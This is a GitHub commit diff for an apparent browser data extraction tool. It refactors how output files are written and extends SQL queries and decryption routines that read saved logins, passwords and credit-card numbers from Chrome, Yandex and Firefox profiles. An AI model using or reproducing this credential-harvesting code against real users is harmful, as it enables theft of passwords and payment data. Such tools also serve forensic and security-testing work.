Skip to content

Commit

Permalink
refactor: output browsing data package
Browse files Browse the repository at this point in the history
  • Loading branch information
moonD4rk committed Apr 17, 2022
1 parent 13c92b0 commit 04e620e
Show file tree
Hide file tree
Showing 8 changed files with 58 additions and 35 deletions.
21 changes: 3 additions & 18 deletions cmd/hack-browser-data/main.go
Original file line number Diff line number Diff line change
@@ -1,13 +1,11 @@
package main

import (
"fmt"
"os"
"strings"

"hack-browser-data/internal/browser"
"hack-browser-data/internal/log"
"hack-browser-data/internal/outputter"
"hack-browser-data/internal/utils/fileutil"

"github.com/urfave/cli/v2"
Expand Down Expand Up @@ -45,7 +43,7 @@ func Execute() {
if verbose {
log.Init("debug")
} else {
log.Init("error")
log.Init("notice")
}
var (
browsers []browser.Browser
Expand All @@ -56,29 +54,16 @@ func Execute() {
if err != nil {
log.Error(err)
}
output := outputter.New(outputFormat)

for _, b := range browsers {
data, err := b.GetBrowsingData()
if err != nil {
log.Error(err)
}
var f *os.File
for _, source := range data.Sources {
filename := fmt.Sprintf("%s_%s.%s", b.Name(), source.Name(), outputFormat)
f, err = output.CreateFile(outputDir, filename)
if err != nil {
log.Error(err)
}
err = output.Write(source, f)
if err != nil {
log.Error(err)
}
}
data.Output(outputDir, browserName, outputFormat)
}
if compress {
err = fileutil.CompressDir(outputDir)
if err != nil {
if err = fileutil.CompressDir(outputDir); err != nil {
log.Error(err)
}
}
Expand Down
25 changes: 24 additions & 1 deletion internal/browingdata/browsingdata.go
Original file line number Diff line number Diff line change
@@ -1,10 +1,13 @@
package browingdata

import (
"path"
"time"

"hack-browser-data/internal/item"
"hack-browser-data/internal/log"
"hack-browser-data/internal/outputter"
"hack-browser-data/internal/utils/fileutil"
)

type Data struct {
Expand Down Expand Up @@ -35,6 +38,24 @@ func (d *Data) Recovery(masterKey []byte) error {
return nil
}

func (d *Data) Output(dir, browserName, output string) {
outputter := outputter.New(output)

for _, source := range d.Sources {

filename := fileutil.Filename(browserName, source.Name(), outputter.Ext())

f, err := outputter.CreateFile(dir, filename)
if err != nil {
log.Error(err)
}
if err := outputter.Write(source, f); err != nil {
log.Error(err)
}
log.Noticef("output to file %s success", path.Join(dir, filename))
}
}

func (d *Data) addSource(Sources []item.Item) {
for _, source := range Sources {
switch source {
Expand Down Expand Up @@ -69,7 +90,7 @@ func (d *Data) addSource(Sources []item.Item) {
}

const (
queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards`
queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted, billing_address_id, nickname FROM credit_cards`
queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
queryYandexLogin = `SELECT action_url, username_value, password_value, date_created FROM logins`
queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`
Expand Down Expand Up @@ -126,5 +147,7 @@ type (
ExpirationYear string
ExpirationMonth string
CardNumber string
Address string
NickName string
}
)
14 changes: 8 additions & 6 deletions internal/browingdata/creditcard.go
Original file line number Diff line number Diff line change
Expand Up @@ -27,17 +27,19 @@ func (c *ChromiumCreditCard) Parse(masterKey []byte) error {
defer rows.Close()
for rows.Next() {
var (
name, month, year, guid string
value, encryptValue []byte
name, month, year, guid, address, nickname string
value, encryptValue []byte
)
if err := rows.Scan(&guid, &name, &month, &year, &encryptValue); err != nil {
if err := rows.Scan(&guid, &name, &month, &year, &encryptValue, &address, &nickname); err != nil {
log.Warn(err)
}
creditCardInfo := card{
ccInfo := card{
GUID: guid,
Name: name,
ExpirationMonth: month,
ExpirationYear: year,
Address: address,
NickName: nickname,
}
if masterKey == nil {
value, err = decrypter.DPApi(encryptValue)
Expand All @@ -50,8 +52,8 @@ func (c *ChromiumCreditCard) Parse(masterKey []byte) error {
return err
}
}
creditCardInfo.CardNumber = string(value)
*c = append(*c, creditCardInfo)
ccInfo.CardNumber = string(value)
*c = append(*c, ccInfo)
}
return nil
}
Expand Down
4 changes: 2 additions & 2 deletions internal/browingdata/password.go
Original file line number Diff line number Diff line change
Expand Up @@ -189,8 +189,8 @@ func (f *FirefoxPassword) Parse(masterKey []byte) error {
}
*f = append(*f, loginData{
LoginUrl: v.LoginUrl,
UserName: string(decrypter.PKCS5UnPadding(user)),
Password: string(decrypter.PKCS5UnPadding(pwd)),
UserName: string(user),
Password: string(pwd),
CreateDate: v.CreateDate,
})
}
Expand Down
4 changes: 2 additions & 2 deletions internal/browser/browser.go
Original file line number Diff line number Diff line change
Expand Up @@ -85,12 +85,12 @@ func pickFirefox(name, profile string) []Browser {
}
if multiFirefox, err := firefox.New(v.name, v.storage, profile, v.items); err == nil {
for _, b := range multiFirefox {
log.Noticef("find browser: firefox %s success", b.Name())
log.Noticef("find browser firefox %s success", b.Name())
browsers = append(browsers, b)
}
} else {
if strings.Contains(err.Error(), "profile path is not exist") {
log.Noticef("find browser: firefox %s failed, profile path is not exist", v.name)
log.Noticef("find browser firefox %s failed, profile path is not exist", v.name)
} else {
log.Error(err)
}
Expand Down
2 changes: 1 addition & 1 deletion internal/log/log.go
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@ func Init(l string) {
if l == "debug" {
std = newStdLogger(slog.DebugLevel)
} else {
std = newStdLogger(slog.ErrorLevel)
std = newStdLogger(slog.NoticeLevel)
}
}

Expand Down
18 changes: 13 additions & 5 deletions internal/outputter/outputter.go
Original file line number Diff line number Diff line change
Expand Up @@ -13,13 +13,13 @@ import (
"hack-browser-data/internal/browingdata"
)

type outPutter struct {
type OutPutter struct {
json bool
csv bool
}

func New(flag string) *outPutter {
o := &outPutter{}
func New(flag string) *OutPutter {
o := &OutPutter{}
if flag == "json" {
o.json = true
} else {
Expand All @@ -28,7 +28,7 @@ func New(flag string) *outPutter {
return o
}

func (o *outPutter) Write(data browingdata.Source, writer io.Writer) error {
func (o *OutPutter) Write(data browingdata.Source, writer io.Writer) error {
switch o.json {
case true:
encoder := jsoniter.NewEncoder(writer)
Expand All @@ -45,7 +45,7 @@ func (o *outPutter) Write(data browingdata.Source, writer io.Writer) error {
}
}

func (o *outPutter) CreateFile(dir, filename string) (*os.File, error) {
func (o *OutPutter) CreateFile(dir, filename string) (*os.File, error) {
if filename == "" {
return nil, errors.New("empty filename")
}
Expand All @@ -68,3 +68,11 @@ func (o *outPutter) CreateFile(dir, filename string) (*os.File, error) {
}
return file, nil
}

func (o *OutPutter) Ext() string {
if o.json {
return ".json"
} else {
return ".csv"
}
}
5 changes: 5 additions & 0 deletions internal/utils/fileutil/filetutil.go
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,7 @@ import (
"os"
"path"
"path/filepath"
"strings"

"hack-browser-data/internal/item"
"hack-browser-data/internal/log"
Expand Down Expand Up @@ -61,6 +62,10 @@ func CopyItemToLocal(itemPaths map[item.Item]string) error {
return nil
}

func Filename(browser, item, ext string) string {
return strings.ToLower(fmt.Sprintf("%s_%s.%s", browser, item, ext))
}

func ParentDir(p string) string {
return filepath.Dir(p)
}
Expand Down

0 comments on commit 04e620e

Please sign in to comment.